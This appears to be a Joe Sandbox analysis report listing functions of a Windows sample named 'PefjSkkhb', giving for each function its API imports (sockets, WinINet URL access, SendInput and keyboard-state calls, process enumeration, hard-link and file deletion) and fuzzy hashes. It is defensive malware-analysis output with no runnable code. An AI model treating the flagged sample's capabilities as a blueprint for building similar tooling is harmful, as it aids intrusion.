Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: e379af7c7aa9bbe79288f83884fa4382e5af68cffa90fa032ca838eee295b033
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: DCD15876B04B45C6EB14AF26C4906AC77B0FB88F98B414522DF4D87B58CF79E844C7A4

Function 00007FF7C0EE79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF7C0EE7A72

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction ID: aeee1e55bc1e259c8a88a23f3ee70855eb8dd734130dc975831cfce9069870d7
Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction Fuzzy Hash: E8D17B66B48B459AEB10FFA5D4801ECB3B1FB447A8B800436DE4D97BA9DF38E515C390

Function 00007FF7C0EFD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF7C0EDBCA6), ref: 00007FF7C0EFD91A
ScreenToClient.USER32 ref: 00007FF7C0EFD947
MoveWindow.USER32 ref: 00007FF7C0EFD9C5
SendMessageW.USER32 ref: 00007FF7C0EFDA2D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: e13941f2fcf9823e0a8cb6d2872d4f85412e13014e47aed78615e06df174940b
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: D551D832A08A4189EB50EF65D4806BD7B62FB84BA8FD04136DE2D93784DF79F885C350

Function 00007FF7C0ECBAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF7C0ECBB6F
GetLastError.KERNEL32 ref: 00007FF7C0ECBB7E
CreateDirectoryW.KERNEL32 ref: 00007FF7C0ECBB8E
CreateDirectoryW.KERNEL32 ref: 00007FF7C0ECBC27

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: bcafc142805d36852a29de66d259cc4a69fb6da57e2206a579562a4e4ee08155
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: 7F51DE22B49A1185EF50FF62D8405BCA3B5BB44BA8F944131DE0D97798DF3DE942CBA0

Function 00007FF7C0EE43C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF7C0EE4414
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE4423
#21.WSOCK32 ref: 00007FF7C0EE44AD
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE44B7

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction ID: 08fc472495d8e0fcb42b5a703ea57b2bc65b43ef9fc80d1ab7024179f9ac7e03
Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction Fuzzy Hash: 4841B066B5878286EB14FF12A40066DA791BB89FF4F844535DE2E977A6CF3CF0018790

Function 00007FF7C0ED5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF7C0ED5E75
GetLastError.KERNEL32 ref: 00007FF7C0ED5E98
DeleteFileW.KERNEL32 ref: 00007FF7C0ED5EC1
CreateHardLinkW.KERNEL32 ref: 00007FF7C0ED5EFA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: 3c4d41da1df173cedea0ebb85928a04b35c0a3d0c9e47e5ff5b851fe6580fd21
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: 0241AA66B48B4681DB14FF26D49106DA760FB88FE4B889432DF5E87766DF38E480C390

Function 00007FF7C0EFF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF7C0F00BC9), ref: 00007FF7C0EFF054
GetWindowRect.USER32(?,?,?,?,00007FF7C0F00BC9), ref: 00007FF7C0EFF0E3
PtInRect.USER32 ref: 00007FF7C0EFF0F3
MessageBeep.USER32(?,?,?,?,00007FF7C0F00BC9), ref: 00007FF7C0EFF165

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: a13c6d84b838c506ad9878e79267ffe141fa9c18c1d68a1e3c443b6b1d21cff8
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: B7419F32A49A56C9EA10AF59D884679B3A0BF84BA4FD54135CE1DC33A1DF3CF885C390

Function 00007FF7C0EFAA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7C0EFAAF2
IsMenu.USER32 ref: 00007FF7C0EFAB10
InsertMenuItemW.USER32 ref: 00007FF7C0EFAB61
DrawMenuBar.USER32 ref: 00007FF7C0EFAB76

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID:
API String ID: 3076010158-0
Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction ID: 909aa92b403d2492e037f54c48d710484a816ad026584eb645c7c1586ba58a72
Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction Fuzzy Hash: 71419E72B04A518AE710EF6AD4402AD77B1FB44BA8F944036CE0D97794CF38F986C790

Function 00007FF7C0E8C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E8C851
GetLastError.KERNEL32 ref: 00007FF7C0E8C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8C8A6

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: b42ebabc7bd284b3c06c6b3662633b3ee30230431a07e03ee9a1de68368f9ff4
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: E841A52298C6C246F765BF28D044379E290AF42BB4F944231DA4986B95DF3DF8418BA0

Function 00007FF7C0ECBE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7C0ECBE3B
Process32FirstW.KERNEL32 ref: 00007FF7C0ECBE4B
CloseHandle.KERNEL32 ref: 00007FF7C0ECBF55

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction ID: 92304867a7d573fa733b8d16895d8735a5ca772dbbfae0666248ebe7ba19fc93
Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction Fuzzy Hash: C9418022B18A9285E710FF51E8841BEE360FB84BA4F944036EE8D83795DF7CE545CB90

Function 00007FF7C0EFC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7C0EFC630
GetWindowLongW.USER32 ref: 00007FF7C0EFC658
SetWindowLongPtrW.USER32 ref: 00007FF7C0EFC66D
InvalidateRect.USER32(?,00000000,?,00007FF7C0E9DF79), ref: 00007FF7C0EFC6A4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction ID: 0d52dc36f10f8342af8bbc726860a4f74ee046ca717683c64db3c2b1a60344fb
Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction Fuzzy Hash: 1E416D21E8C54689FB64BF14D6402B9A760AB84FA5FE95132DA0DC37D1CF6CF88187A1

Function 00007FF7C0EC8CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF7C0EC8D11
SetKeyboardState.USER32 ref: 00007FF7C0EC8D29
PostMessageW.USER32 ref: 00007FF7C0EC8D89
SendInput.USER32 ref: 00007FF7C0EC8DEC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction ID: 8dfaf1d13789bc7c5bc274a4f409683413bfe7d54372fc27317dfdde5537d01f
Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction Fuzzy Hash: A431F621A4C68146E730BF2195007BAABA4FB54B64F950135DA8A437D5CF3DF581C790

Function 00007FF7C0EDD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF7C0EDD843

Part of subcall function 00007FF7C0EDD914: InternetOpenUrlW.WININET ref: 00007FF7C0EDD954
Part of subcall function 00007FF7C0EDD914: InternetCloseHandle.WININET ref: 00007FF7C0EDDA38

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: 273978968ae9e7ccd8b410d024ce2bcd3bfd9f2ae738c3ceb7bd3e4d1057c610
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: 22318F36A0C74282EB29BF16E054779A360FB49BA4F484135DA4D47B44DF2DF0549B90

Function 00007FF7C0E93D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7C0E8A27B,?,?,?,00007FF7C0E8A236), ref: 00007FF7C0E93DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7C0E8A27B,?,?,?,00007FF7C0E8A236), ref: 00007FF7C0E93E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7C0E8A27B,?,?,?,00007FF7C0E8A236), ref: 00007FF7C0E93E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7C0E8A27B,?,?,?,00007FF7C0E8A236), ref: 00007FF7C0E93E77

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: 1b893734df7739e67e488cb4b38dcd5c0a3d1c056fd1a3bd57404dc4281466da
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: D7218021A5C79181EA20BF26644006AF6A5FB44FE4F9C4234DA9EA3B94DF7CF4528750

Function 00007FF7C0EFF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7C0EFF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF7C0EDCD60), ref: 00007FF7C0EFF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF7C0EDCD60), ref: 00007FF7C0EFF952
SetWindowPos.USER32 ref: 00007FF7C0EFF988

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: 23bb120a33045049c73d9628a895d8fef1953cb9965939f532eab92125c81f1f
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: 7A21BE21A08A5189EA20AFA5988433AA6A0AF84BB4F954230DE6D877D4DF7CF441C390

Function 00007FF7C0F0108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

GetCursorPos.USER32 ref: 00007FF7C0F010E1
TrackPopupMenuEx.USER32 ref: 00007FF7C0F01105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF7C0E9AB30,?,?,?,?,?,?,?,?,?,00007FF7C0E527AF), ref: 00007FF7C0F0114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF7C0E9AB30,?,?,?,?,?,?,?,?,?,00007FF7C0E527AF), ref: 00007FF7C0F01190

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: 4d7bf9a2c8f84c0409255c4d9072a6deb559ee796c9ba7cbec7bff3cf011396b
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: BD316D36A0CA4581EB24EF55E4943B9B360FB88FA8F940231DA4D83BA5CF3CE485C750

Function 00007FF7C0EC50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC691C: lstrlenW.KERNEL32 ref: 00007FF7C0EC6944
Part of subcall function 00007FF7C0EC691C: lstrcpyW.KERNEL32 ref: 00007FF7C0EC6973
Part of subcall function 00007FF7C0EC691C: lstrcmpiW.KERNEL32 ref: 00007FF7C0EC69AD

lstrlenW.KERNEL32 ref: 00007FF7C0EC5127
lstrcpyW.KERNEL32 ref: 00007FF7C0EC515A
lstrcmpiW.KERNEL32 ref: 00007FF7C0EC519C

Strings

cdecl, xrefs: 00007FF7C0EC5191

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
Instruction ID: 37b807117410aad528c2cfe3f58b6ccb7944a6f724d7997199f8f69a1b593485
Opcode Fuzzy Hash: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
Instruction Fuzzy Hash: ED21F32270974181EA10BF159854279B761FF88FE0B884134EB5E87390DF7DF480C344

